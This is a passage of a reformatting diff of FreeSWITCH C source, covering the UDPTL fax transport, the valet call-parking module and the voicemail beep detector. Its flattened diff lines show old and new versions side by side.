s->error_correction_span = span;
if (entries >= 0)
s->error_correction_entries = entries;
return 0;
}
/*- End of function --------------------------------------------------------*/
int udptl_get_error_correction(udptl_state_t *s,
int *ec_scheme,
int *span,
int *entries)
int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries)
{
if (ec_scheme)
*ec_scheme = s->error_correction_scheme;
if (span)
*span = s->error_correction_span;
if (entries)
*entries = s->error_correction_entries;
return 0;
if (ec_scheme)
*ec_scheme = s->error_correction_scheme;
if (span)
*span = s->error_correction_span;
if (entries)
*entries = s->error_correction_entries;
return 0;
}
/*- End of function --------------------------------------------------------*/
int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram)
{
s->local_max_datagram_size = max_datagram;
return 0;
s->local_max_datagram_size = max_datagram;
return 0;
}
/*- End of function --------------------------------------------------------*/
int udptl_get_local_max_datagram(udptl_state_t *s)
{
return s->local_max_datagram_size;
return s->local_max_datagram_size;
}
/*- End of function --------------------------------------------------------*/
int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram)
{
s->far_max_datagram_size = max_datagram;
return 0;
s->far_max_datagram_size = max_datagram;
return 0;
}
/*- End of function --------------------------------------------------------*/
int udptl_get_far_max_datagram(udptl_state_t *s)
{
return s->far_max_datagram_size;
return s->far_max_datagram_size;
}
/*- End of function --------------------------------------------------------*/
udptl_state_t *udptl_init(udptl_state_t *s,
int ec_scheme,
int span,
int entries,
udptl_rx_packet_handler_t rx_packet_handler,
void *user_data)
udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data)
{
int i;
int i;
if (rx_packet_handler == NULL)
return NULL;
if (rx_packet_handler == NULL)
return NULL;
if (s == NULL)
{
if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
return NULL;
}
memset(s, 0, sizeof(*s));
s->error_correction_scheme = ec_scheme;
s->error_correction_span = span;
s->error_correction_entries = entries;
s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
if (s == NULL) {
if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
return NULL;
}
memset(s, 0, sizeof(*s));
memset(&s->rx, 0, sizeof(s->rx));
memset(&s->tx, 0, sizeof(s->tx));
for (i = 0; i <= UDPTL_BUF_MASK; i++)
{
s->rx[i].buf_len = -1;
s->tx[i].buf_len = -1;
}
s->error_correction_scheme = ec_scheme;
s->error_correction_span = span;
s->error_correction_entries = entries;
s->rx_packet_handler = rx_packet_handler;
s->user_data = user_data;
s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
return s;
memset(&s->rx, 0, sizeof(s->rx));
memset(&s->tx, 0, sizeof(s->tx));
for (i = 0; i <= UDPTL_BUF_MASK; i++) {
s->rx[i].buf_len = -1;
s->tx[i].buf_len = -1;
}
s->rx_packet_handler = rx_packet_handler;
s->user_data = user_data;
return s;
}
/*- End of function --------------------------------------------------------*/
int udptl_release(udptl_state_t *s)
{
return 0;
return 0;
}
/*- End of function --------------------------------------------------------*/
/*- End of file ------------------------------------------------------------*/
+50 -67
View File
@@ -30,71 +30,66 @@
#define UDPTL_BUF_MASK 15
typedef int (udptl_rx_packet_handler_t)(void *user_data, const uint8_t msg[], int len, int seq_no);
typedef int (udptl_rx_packet_handler_t) (void *user_data, const uint8_t msg[], int len, int seq_no);
typedef struct
{
int buf_len;
uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
typedef struct {
int buf_len;
uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
} udptl_fec_tx_buffer_t;
typedef struct
{
int buf_len;
uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
int fec_span;
int fec_entries;
typedef struct {
int buf_len;
uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
int fec_span;
int fec_entries;
} udptl_fec_rx_buffer_t;
struct udptl_state_s
{
udptl_rx_packet_handler_t *rx_packet_handler;
void *user_data;
struct udptl_state_s {
udptl_rx_packet_handler_t *rx_packet_handler;
void *user_data;
/*! This option indicates the error correction scheme used in transmitted UDPTL
packets. */
int error_correction_scheme;
/*! This option indicates the error correction scheme used in transmitted UDPTL
packets. */
int error_correction_scheme;
/*! This option indicates the number of error correction entries transmitted in
UDPTL packets. */
int error_correction_entries;
/*! This option indicates the number of error correction entries transmitted in
UDPTL packets. */
int error_correction_entries;
/*! This option indicates the span of the error correction entries in transmitted
UDPTL packets (FEC only). */
int error_correction_span;
/*! This option indicates the span of the error correction entries in transmitted
UDPTL packets (FEC only). */
int error_correction_span;
/*! This option indicates the maximum size of a datagram that can be accepted by
the remote device. */
int far_max_datagram_size;
/*! This option indicates the maximum size of a datagram that can be accepted by
the remote device. */
int far_max_datagram_size;
/*! This option indicates the maximum size of a datagram that we are prepared to
accept. */
int local_max_datagram_size;
/*! This option indicates the maximum size of a datagram that we are prepared to
accept. */
int local_max_datagram_size;
int verbose;
int verbose;
int tx_seq_no;
int rx_seq_no;
int rx_expected_seq_no;
int tx_seq_no;
int rx_seq_no;
int rx_expected_seq_no;
udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
};
enum
{
UDPTL_ERROR_CORRECTION_NONE,
UDPTL_ERROR_CORRECTION_FEC,
UDPTL_ERROR_CORRECTION_REDUNDANCY
enum {
UDPTL_ERROR_CORRECTION_NONE,
UDPTL_ERROR_CORRECTION_FEC,
UDPTL_ERROR_CORRECTION_REDUNDANCY
};
typedef struct udptl_state_s udptl_state_t;
#if defined(__cplusplus)
extern "C"
{
extern "C" {
#endif
/*! \brief Process an arriving UDPTL packet.
@@ -102,7 +97,7 @@ extern "C"
\param buf The UDPTL packet buffer.
\param len The length of the packet.
\return 0 for OK. */
int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
/*! \brief Construct a UDPTL packet, ready for transmission.
\param s The UDPTL context.
@@ -110,7 +105,7 @@ int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
\param msg The primary packet.
\param len The length of the primary packet.
\return The length of the constructed UDPTL packet. */
int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
/*! \brief Change the error correction settings of a UDPTL context.
\param s The UDPTL context.
@@ -118,10 +113,7 @@ int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int
\param span The packet span over which error correction should be applied.
\param entries The number of error correction entries to include in packets.
\return 0 for OK. */
int udptl_set_error_correction(udptl_state_t *s,
int ec_scheme,
int span,
int entries);
int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries);
/*! \brief Check the error correction settings of a UDPTL context.
\param s The UDPTL context.
@@ -129,18 +121,15 @@ int udptl_set_error_correction(udptl_state_t *s,
\param span The packet span over which error correction is being applied.
\param entries The number of error correction being included in packets.
\return 0 for OK. */
int udptl_get_error_correction(udptl_state_t *s,
int *ec_scheme,
int *span,
int *entries);
int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries);
int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
int udptl_get_local_max_datagram(udptl_state_t *s);
int udptl_get_local_max_datagram(udptl_state_t *s);
int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
int udptl_get_far_max_datagram(udptl_state_t *s);
int udptl_get_far_max_datagram(udptl_state_t *s);
/*! \brief Initialise a UDPTL context.
\param s The UDPTL context.
@@ -150,21 +139,15 @@ int udptl_get_far_max_datagram(udptl_state_t *s);
\param rx_packet_handler The callback function, used to report arriving IFP packets.
\param user_data An opaque pointer supplied to rx_packet_handler.
\return A pointer to the UDPTL context, or NULL if there was a problem. */
udptl_state_t *udptl_init(udptl_state_t *s,
int ec_scheme,
int span,
int entries,
udptl_rx_packet_handler_t rx_packet_handler,
void *user_data);
udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data);
/*! \brief Release a UDPTL context.
\param s The UDPTL context.
\return 0 for OK. */
int udptl_release(udptl_state_t *s);
int udptl_release(udptl_state_t *s);
#if defined(__cplusplus)
}
#endif
#endif
/*- End of file ------------------------------------------------------------*/
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -87,10 +87,11 @@ static int next_id(valet_lot_t *lot, int min, int max, int in)
int i, r = 0, m;
char buf[128] = "";
if (!min) min = 1;
if (!min)
min = 1;
switch_mutex_lock(globals.mutex);
for(i = min ; (i < max || max == 0) ; i++) {
for (i = min; (i < max || max == 0); i++) {
switch_snprintf(buf, sizeof(buf), "%d", i);
m = !!switch_core_hash_find(lot->hash, buf);
@@ -131,7 +132,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
lot = valet_find_lot(lot_name);
switch_assert(lot);
if (!strcasecmp(ext, "auto")) {
if (!strcasecmp(ext, "auto")) {
const char *io = argv[2];
const char *min = argv[3];
const char *max = argv[4];
@@ -165,7 +166,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
switch_mutex_unlock(lot->mutex);
return;
}
switch_snprintf(dtmf_buf, sizeof(dtmf_buf), "%d", id);
ext = dtmf_buf;
} else if (!strcasecmp(ext, "ask")) {
@@ -174,28 +175,28 @@ SWITCH_STANDARD_APP(valet_parking_function)
int max = 11;
int to = 10000;
int i;
tmp = argv[2] ? argv[2] : switch_channel_get_variable(channel, "valet_ext_min");
if (tmp) {
if ((i = atoi(tmp)) > 0) {
min = i;
}
}
tmp = argv[3] ? argv[3] : switch_channel_get_variable(channel, "valet_ext_max");
if (tmp) {
if ((i = atoi(tmp)) > 0) {
max = i;
}
}
tmp = argv[4] ? argv[4] : switch_channel_get_variable(channel, "valet_ext_to");
if (tmp) {
if ((i = atoi(tmp)) > 0) {
to = i;
}
}
tmp = argv[5] ? argv[5] : switch_channel_get_variable(channel, "valet_ext_prompt");
if (tmp) {
prompt = tmp;
@@ -211,7 +212,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
}
}
switch_mutex_lock(lot->mutex);
if ((uuid = switch_core_hash_find(lot->hash, ext))) {
switch_core_session_t *b_session;
@@ -224,7 +225,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
switch_channel_event_set_data(switch_core_session_get_channel(b_session), event);
switch_event_fire(&event);
switch_core_session_rwunlock(b_session);
switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), uuid);
switch_mutex_unlock(lot->mutex);
return;
@@ -241,7 +242,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
switch_core_session_t *b_session;
if ((b_session = switch_core_session_locate(uuid))) {
switch_ivr_phrase_macro(session, "valet_announce_ext", tmp, NULL, NULL);
switch_ivr_session_transfer(b_session, dest, "inline", NULL);
@@ -254,8 +255,8 @@ SWITCH_STANDARD_APP(valet_parking_function)
switch_ivr_phrase_macro(session, "valet_announce_ext", tmp, NULL, NULL);
}
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VALET_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Valet-Lot-Name", lot_name);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Valet-Extension", ext);
@@ -263,14 +264,15 @@ SWITCH_STANDARD_APP(valet_parking_function)
switch_event_fire(&event);
}
if (!(tmp = switch_channel_get_variable(channel, "valet_hold_music"))) {
tmp = switch_channel_get_variable(channel, "hold_music");
}
if (tmp) music = tmp;
if (tmp)
music = tmp;
switch_core_hash_insert(lot->hash, ext, switch_core_session_get_uuid(session));
args.input_callback = valet_on_dtmf;
args.buf = dbuf;
args.buflen = sizeof(dbuf);
@@ -293,7 +295,7 @@ SWITCH_STANDARD_API(valet_info_function)
{
switch_hash_index_t *hi;
const void *var;
void *val;
void *val;
char *name;
valet_lot_t *lot;
@@ -310,9 +312,10 @@ SWITCH_STANDARD_API(valet_info_function)
switch_hash_this(hi, &var, NULL, &val);
name = (char *) var;
lot = (valet_lot_t *) val;
if (!zstr(cmd) && strcasecmp(cmd, name)) continue;
if (!zstr(cmd) && strcasecmp(cmd, name))
continue;
stream->write_function(stream, " <lot name=\"%s\">\n", name);
for (i_hi = switch_hash_first(NULL, lot->hash); i_hi; i_hi = switch_hash_next(i_hi)) {
+350 -352
View File
@@ -128,50 +128,50 @@ SWITCH_STANDARD_APP(vmd_start_function);
/*! Type that holds state information about the beep. */
typedef enum vmd_state {
BEEP_DETECTED, BEEP_NOT_DETECTED
BEEP_DETECTED, BEEP_NOT_DETECTED
} vmd_state_t;
/*! Type that holds data for 5 points of discreet energy separation */
typedef struct vmd_point {
double freq;
double ampl;
double freq;
double ampl;
} vmd_point_t;
/*! Type that holds codec information. */
typedef struct vmd_codec_info {
/*! The sampling rate of the audio stream. */
int rate;
/*! The number of channels. */
int channels;
/*! The sampling rate of the audio stream. */
int rate;
/*! The number of channels. */
int channels;
} vmd_codec_info_t;
/*! Type that holds session information pertinent to the vmd module. */
typedef struct vmd_session_info {
/*! State of the session. */
vmd_state_t state;
/*! Snapshot of DESA samples. */
vmd_point_t points[POINTS];
/*! Internal FreeSWITCH session. */
switch_core_session_t *session;
/*! Codec information for the session. */
vmd_codec_info_t vmd_codec;
/*! Current position in the snapshot. */
unsigned int pos;
/*! Frequency aproximation of a detected beep. */
double beep_freq;
/*! A count of how long a distinct beep was detected
* by the discreet energy separation algorithm. */
switch_size_t timestamp;
/*! State of the session. */
vmd_state_t state;
/*! Snapshot of DESA samples. */
vmd_point_t points[POINTS];
/*! Internal FreeSWITCH session. */
switch_core_session_t *session;
/*! Codec information for the session. */
vmd_codec_info_t vmd_codec;
/*! Current position in the snapshot. */
unsigned int pos;
/*! Frequency aproximation of a detected beep. */
double beep_freq;
/*! A count of how long a distinct beep was detected
* by the discreet energy separation algorithm. */
switch_size_t timestamp;
/*! The MIN_TIME to use for this call */
int minTime;
} vmd_session_info_t;
static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame);
static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type);
static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame);
static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type);
static double freq_estimator(double *x);
static double ampl_estimator(double *x);
static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max);
static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame);
static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max);
static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame);
static double median(double *m, int n);
/*
@@ -187,40 +187,40 @@ static double median(double *m, int n);
* @param type The switch callback type.
* @return The success or failure of the function.
*/
static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
{
vmd_session_info_t *vmd_info;
switch_codec_t *read_codec;
switch_frame_t *frame;
vmd_session_info_t *vmd_info;
switch_codec_t *read_codec;
switch_frame_t *frame;
vmd_info = (vmd_session_info_t *) user_data;
if (vmd_info == NULL) {
return SWITCH_FALSE;
}
vmd_info = (vmd_session_info_t *) user_data;
if (vmd_info == NULL) {
return SWITCH_FALSE;
}
switch (type) {
switch (type) {
case SWITCH_ABC_TYPE_INIT:
read_codec = switch_core_session_get_read_codec(vmd_info->session);
vmd_info->vmd_codec.rate = read_codec->implementation->samples_per_second;
vmd_info->vmd_codec.channels = read_codec->implementation->number_of_channels;
break;
case SWITCH_ABC_TYPE_INIT:
read_codec = switch_core_session_get_read_codec(vmd_info->session);
vmd_info->vmd_codec.rate = read_codec->implementation->samples_per_second;
vmd_info->vmd_codec.channels = read_codec->implementation->number_of_channels;
break;
case SWITCH_ABC_TYPE_READ_PING:
case SWITCH_ABC_TYPE_CLOSE:
case SWITCH_ABC_TYPE_READ:
case SWITCH_ABC_TYPE_WRITE:
break;
case SWITCH_ABC_TYPE_READ_PING:
case SWITCH_ABC_TYPE_CLOSE:
case SWITCH_ABC_TYPE_READ:
case SWITCH_ABC_TYPE_WRITE:
break;
case SWITCH_ABC_TYPE_READ_REPLACE:
frame = switch_core_media_bug_get_read_replace_frame(bug);
return process_data(vmd_info, frame);
case SWITCH_ABC_TYPE_READ_REPLACE:
frame = switch_core_media_bug_get_read_replace_frame(bug);
return process_data(vmd_info, frame);
case SWITCH_ABC_TYPE_WRITE_REPLACE:
break;
}
case SWITCH_ABC_TYPE_WRITE_REPLACE:
break;
}
return SWITCH_TRUE;
return SWITCH_TRUE;
}
/*! \brief Process and convert data to be used by the find_beep() function
@@ -230,23 +230,23 @@ static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, swi
* @param frame The audio data.
* @return The success or failure of the function.
*/
static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame)
static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame)
{
uint32_t i;
unsigned int j;
double pts[P];
int16_t *data;
int16_t max;
switch_ssize_t len;
uint32_t i;
unsigned int j;
double pts[P];
int16_t *data;
int16_t max;
switch_ssize_t len;
len = frame->samples * sizeof(int16_t);
data = (int16_t *) frame->data;
len = frame->samples * sizeof(int16_t);
data = (int16_t *) frame->data;
for (max = (int16_t) abs(data[0]), i = 1; i < frame->samples; i++) {
if ((int16_t) abs(data[i]) > max) {
max = (int16_t) abs(data[i]);
}
}
for (max = (int16_t) abs(data[0]), i = 1; i < frame->samples; i++) {
if ((int16_t) abs(data[i]) > max) {
max = (int16_t) abs(data[i]);
}
}
/*
if (vmd_info->data_len != len){
@@ -269,16 +269,16 @@ static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t
}
*/
for (i = 0, j = vmd_info->pos; i < frame->samples; j++, j %= POINTS, i += 5) {
/* convert_pts(vmd_info->data + i, pts); */
convert_pts(data + i, pts, max);
vmd_info->points[j].freq = TO_HZ(freq_estimator(pts));
vmd_info->points[j].ampl = ampl_estimator(pts);
vmd_info->pos = j % POINTS;
find_beep(vmd_info, frame);
}
for (i = 0, j = vmd_info->pos; i < frame->samples; j++, j %= POINTS, i += 5) {
/* convert_pts(vmd_info->data + i, pts); */
convert_pts(data + i, pts, max);
vmd_info->points[j].freq = TO_HZ(freq_estimator(pts));
vmd_info->points[j].ampl = ampl_estimator(pts);
vmd_info->pos = j % POINTS;
find_beep(vmd_info, frame);
}
return SWITCH_TRUE;
return SWITCH_TRUE;
}
/*! \brief Find voicemail beep in the audio stream
@@ -288,98 +288,96 @@ static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t
* @param frame The audio data.
* @return The success or failure of the function.
*/
static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame)
static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame)
{
int i;
int c;
double m[POINTS];
double med;
unsigned int j = (vmd_info->pos + 1) % POINTS;
unsigned int k = j;
switch_event_t *event;
switch_status_t status;
switch_event_t *event_copy;
switch_channel_t *channel = switch_core_session_get_channel(vmd_info->session);
int i;
int c;
double m[POINTS];
double med;
unsigned int j = (vmd_info->pos + 1) % POINTS;
unsigned int k = j;
switch_event_t *event;
switch_status_t status;
switch_event_t *event_copy;
switch_channel_t *channel = switch_core_session_get_channel(vmd_info->session);
switch (vmd_info->state) {
case BEEP_DETECTED:
for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
vmd_info->timestamp++;
if (vmd_info->points[j].freq < TOLERANCE_T(vmd_info->beep_freq) &&
vmd_info->points[j].freq > TOLERANCE_B(vmd_info->beep_freq)) {
c++;
vmd_info->beep_freq = (vmd_info->beep_freq * 0.95) + (vmd_info->points[j].freq * 0.05);
}
}
switch (vmd_info->state) {
case BEEP_DETECTED:
for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
vmd_info->timestamp++;
if (vmd_info->points[j].freq < TOLERANCE_T(vmd_info->beep_freq) && vmd_info->points[j].freq > TOLERANCE_B(vmd_info->beep_freq)) {
c++;
vmd_info->beep_freq = (vmd_info->beep_freq * 0.95) + (vmd_info->points[j].freq * 0.05);
}
}
if (c < (POINTS - MAX_CHIRP)) {
vmd_info->state = BEEP_NOT_DETECTED;
if (vmd_info->timestamp < (switch_size_t)vmd_info->minTime) {
break;
}
if (c < (POINTS - MAX_CHIRP)) {
vmd_info->state = BEEP_NOT_DETECTED;
if (vmd_info->timestamp < (switch_size_t) vmd_info->minTime) {
break;
}
status = switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
if (status != SWITCH_STATUS_SUCCESS) {
return;
}
status = switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
if (status != SWITCH_STATUS_SUCCESS) {
return;
}
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
if ((switch_event_dup(&event_copy, event)) != SWITCH_STATUS_SUCCESS) {
return;
}
if ((switch_event_dup(&event_copy, event)) != SWITCH_STATUS_SUCCESS) {
return;
}
switch_core_session_queue_event(vmd_info->session, &event);
switch_event_fire(&event_copy);
switch_core_session_queue_event(vmd_info->session, &event);
switch_event_fire(&event_copy);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info->session), SWITCH_LOG_INFO, "<<< VMD - Beep Detected >>>\n");
switch_channel_set_variable(channel, "vmd_detect", "TRUE");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info->session), SWITCH_LOG_INFO, "<<< VMD - Beep Detected >>>\n");
switch_channel_set_variable(channel, "vmd_detect", "TRUE");
vmd_info->timestamp = 0;
}
vmd_info->timestamp = 0;
}
break;
break;
case BEEP_NOT_DETECTED:
case BEEP_NOT_DETECTED:
for (i = 0; i < POINTS; k++, k %= POINTS, i++) {
m[i] = vmd_info->points[k].freq;
if (ISNAN(m[i])) {
m[i] = 0.0;
}
}
for (i = 0; i < POINTS; k++, k %= POINTS, i++) {
m[i] = vmd_info->points[k].freq;
if (ISNAN(m[i])) {
m[i] = 0.0;
}
}
med = median(m, POINTS);
if (ISNAN(med)) {
for (i = 0; i < POINTS; i++) {
if (!ISNAN(m[i])) {
med = m[i];
break;
}
}
}
med = median(m, POINTS);
if (ISNAN(med)) {
for (i = 0; i < POINTS; i++) {
if (!ISNAN(m[i])) {
med = m[i];
break;
}
}
}
for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
if (vmd_info->points[j].freq < TOLERANCE_T(med) && vmd_info->points[j].freq > TOLERANCE_B(med)) {
if (vmd_info->points[j].ampl > MIN_AMPL &&
vmd_info->points[j].freq > MIN_FREQ && vmd_info->points[j].freq < MAX_FREQ) {
c++;
}
}
}
for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
if (vmd_info->points[j].freq < TOLERANCE_T(med) && vmd_info->points[j].freq > TOLERANCE_B(med)) {
if (vmd_info->points[j].ampl > MIN_AMPL && vmd_info->points[j].freq > MIN_FREQ && vmd_info->points[j].freq < MAX_FREQ) {
c++;
}
}
}
if (c >= VALID) {
vmd_info->state = BEEP_DETECTED;
vmd_info->beep_freq = med;
vmd_info->timestamp = 0;
}
if (c >= VALID) {
vmd_info->state = BEEP_DETECTED;
vmd_info->beep_freq = med;
vmd_info->timestamp = 0;
}
break;
}
break;
}
}
/*! \brief Find the median of an array of doubles
@@ -390,65 +388,65 @@ static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame)
*/
static double median(double *m, int n)
{
int i;
int less;
int greater;
int equal;
double min;
double max;
double guess;
double maxltguess;
double mingtguess;
int i;
int less;
int greater;
int equal;
double min;
double max;
double guess;
double maxltguess;
double mingtguess;
min = max = m[0];
min = max = m[0];
for (i = 1; i < n; i++) {
if (m[i] < min)
min = m[i];
if (m[i] > max)
max = m[i];
}
for (i = 1; i < n; i++) {
if (m[i] < min)
min = m[i];
if (m[i] > max)
max = m[i];
}
for (;;) {
guess = (min + max) / 2;
less = 0;
greater = 0;
equal = 0;
maxltguess = min;
mingtguess = max;
for (;;) {
guess = (min + max) / 2;
less = 0;
greater = 0;
equal = 0;
maxltguess = min;
mingtguess = max;
for (i = 0; i < n; i++) {
if (m[i] < guess) {
less++;
if (m[i] > maxltguess) {
maxltguess = m[i];
}
} else if (m[i] > guess) {
greater++;
if (m[i] < mingtguess) {
mingtguess = m[i];
}
} else {
equal++;
}
}
for (i = 0; i < n; i++) {
if (m[i] < guess) {
less++;
if (m[i] > maxltguess) {
maxltguess = m[i];
}
} else if (m[i] > guess) {
greater++;
if (m[i] < mingtguess) {
mingtguess = m[i];
}
} else {
equal++;
}
}
if (less <= (n + 1) / 2 && greater <= (n + 1) / 2) {
break;
} else if (less > greater) {
max = maxltguess;
} else {
min = mingtguess;
}
}
if (less <= (n + 1) / 2 && greater <= (n + 1) / 2) {
break;
} else if (less > greater) {
max = maxltguess;
} else {
min = mingtguess;
}
}
if (less >= (n + 1) / 2) {
return maxltguess;
} else if (less + equal >= (n + 1) / 2) {
return guess;
}
if (less >= (n + 1) / 2) {
return maxltguess;
} else if (less + equal >= (n + 1) / 2) {
return guess;
}
return mingtguess;
return mingtguess;
}
/*! \brief Convert many points for Signed L16 to relative floating point
@@ -459,13 +457,13 @@ static double median(double *m, int n)
* @param max The maximum value in the entire audio frame.
* @return Nothing.
*/
static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max)
static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max)
{
int i;
for (i = 0; i < P; i++) {
/*! Signed L16 to relative floating point conversion */
d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
}
int i;
for (i = 0; i < P; i++) {
/*! Signed L16 to relative floating point conversion */
d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
}
}
/*! \brief Amplitude estimator for DESA-2
@@ -478,12 +476,12 @@ static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max)
*/
double ampl_estimator(double *x)
{
double freq_sq;
double freq_sq;
freq_sq = freq_estimator(x);
freq_sq *= freq_sq;
freq_sq = freq_estimator(x);
freq_sq *= freq_sq;
return sqrt(PSI(x) / sin(freq_sq));
return sqrt(PSI(x) / sin(freq_sq));
}
/*! \brief The DESA-2 algorithm
@@ -500,12 +498,12 @@ double ampl_estimator(double *x)
*/
double freq_estimator(double *x)
{
return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
- ((x[1] * x[1]) - (x[0] * x[2]))
- ((x[3] * x[3]) - (x[2] * x[4])))
/ (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
- ((x[1] * x[1]) - (x[0] * x[2]))
- ((x[3] * x[3]) - (x[2] * x[4])))
/ (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
);
);
}
/*! \brief FreeSWITCH module loading function
@@ -515,19 +513,19 @@ double freq_estimator(double *x)
*/
SWITCH_MODULE_LOAD_FUNCTION(mod_vmd_load)
{
switch_application_interface_t *app_interface;
switch_api_interface_t *api_interface;
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_application_interface_t *app_interface;
switch_api_interface_t *api_interface;
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
